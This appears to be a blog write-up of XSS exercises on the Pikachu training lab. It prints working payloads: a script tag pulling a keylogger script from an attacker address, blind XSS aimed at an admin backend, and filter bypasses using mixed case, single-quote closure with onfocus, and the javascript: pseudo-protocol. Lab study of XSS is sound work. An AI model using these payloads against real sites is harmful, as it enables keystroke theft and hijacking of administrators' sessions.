zoukankan      html  css  js  c++  java
  • pikachu-xss(2)

    获取键盘记录

     

     

    同样,  攻击js脚本位于网站目录下的 pkxss/rkeypress/rk.js
    这里是攻击者的地址
    留言板输入恶意代码
    <script src='http://192.168.21.10/pikachu-master/pkxss/rkeypress/rk.js'></script>
    

     这里出错的原因可能是因为同源策略的保护,虽然event是js自带的函数

    执行成功的结果

     

    xss盲打
    发现内容无法在网页前端显示出来, 也就是没有写入到前端页面, 而是提交到了后台
    倘若注入xss, 则无法得知是否xss被执行, 但是管理员回去看, 假如我们注入了xss代码, 同时管理员又访问了后台, 且后台把我们的内容输出, 那么后台管理员可能遭受到我们的XSS攻击
    这也是称为Xss盲打的原因
    查看页面源代码发现,没有动就输出了所以在前台写js代码输出一个弹窗
    <script>alert('111')</script>

     后台管理员登陆后

     xss之过滤

    查看源码发现被过滤掉了script

     下面是几种绕过的方式

     我是大小写绕过

    <ScRiPt>alert(1)</ScRipt>

     xss之htmlspecialchars

    htmlspecialchars() 函数,PHP里面把预定义的字符转换为HTML实体的函数预定义的字符与可用引号类型请自行百度查找
    经过分析发现写入的内容做了一个链接

    由于函数的原因,部分特殊字符都被转义了,但是单引号没有被转义,那么我们可以采用闭合绕过
    ' onfocus='alert(1)  // 单引号闭合+事件标签
    
    javascript:alert(1)  // JavaScript伪协议
    

     

    xss之href输出
    这里是将用户输入的url作为a便签的href属性值
    查看源码发现这次也是使用的htmlspecialchars() 函数过滤但这次过滤了单引号
    利用js伪协议
    javascript:alert(1)
    

     

    xss之js输出

    这里输入内容被动态生成到js代码中了
    观察源码发现可以使用<script>闭合
    </script><script>alert('1')</script>
    

     

     对于xss的防范措施

    在href中的防范措施:只允许http,https,其次在进行特殊字符处理

     
  • 相关阅读:
    一个关于Delphi XML处理单元的BUG
    弹出一个非阻塞对话框
    更新Delphi中SVN客户端版本的方法
    程序只允许运行一个+重复运行程序提前
    Reverse Words in a String
    How to define Servlet filter order of execution using annotations
    Understanding and Using Servlet Filters
    Observer Pattern
    javascript 比较
    SOAP vs REST
  • 原文地址:https://www.cnblogs.com/zhao-yang/p/12604933.html
Copyright © 2011-2022 走看看